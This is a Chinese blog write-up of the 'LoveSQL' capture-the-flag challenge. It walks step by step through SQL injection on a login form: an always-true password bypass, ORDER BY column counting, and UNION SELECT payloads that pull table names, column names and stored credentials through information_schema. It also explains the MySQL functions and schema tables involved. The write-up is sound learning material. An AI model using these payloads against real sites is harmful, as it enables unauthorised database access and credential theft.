【SQL注入】[极客大挑战 2019]LoveSQL---爆库、爆表、爆字段---day02

一、界面

image
先正经输个账号密码,回显:
image
这里补充一下mariaDB是什么玩意:

MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。

二、思路

1、输入单引号'测试

image
报错,可能存在注入点。

2、尝试一下万能密码

username=admin' or '1'='1&password=admin' or '1'='1

URL搞就行
image
给了一串密码,看起来像md5,尝试去解密,解密不出来,想别的办法吧。

3、查询字段数

check.php?username=admin' order by 4%23&password=admin' or '1'='1

image
image
说明有3个字段。

4、union联合查询测试注入点(回显点)

image
现在可以知道回显的点位为2和3,查询数据库名字和版本信息。

username=1' union select 1,database(),version()%23password=1

image

5、爆表:

username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

结果:
image

知识点:

①group_concat()函数用法

image

②MySQL中的Information_schema数据库

参考文章:

https://blog.csdn.net/kikajack/article/details/80065753
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

本地phpstudy中mysql命令行测试:
image

SCHEMATA表:

展示当前mysql实例中所有数据库的信息。命令:

show databases;

就是从这个表中获取数据
image

TABLES表:

存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。

SHOW TABLES FROM XX;

命令从这个表获取结果。

COLUMNS表:

存储表中的列信息,包括表有多少列、每个列的类型等。

SHOW COLUMNS FROM schemaname.tablename;

命令从这个表获取结果。

6、爆字段:

username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

结果:
image
爆出3个字段。

7、爆数据

username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag:
image

三、总结

通过这道题,理了一下SQL注入的思路。并且学习了一些SQL的基础知识,group_concat()函数的作用,还有information_schema表的运用。

posted @ 2021-05-18 15:32  DarkerG  阅读(344)  评论(0编辑  收藏  举报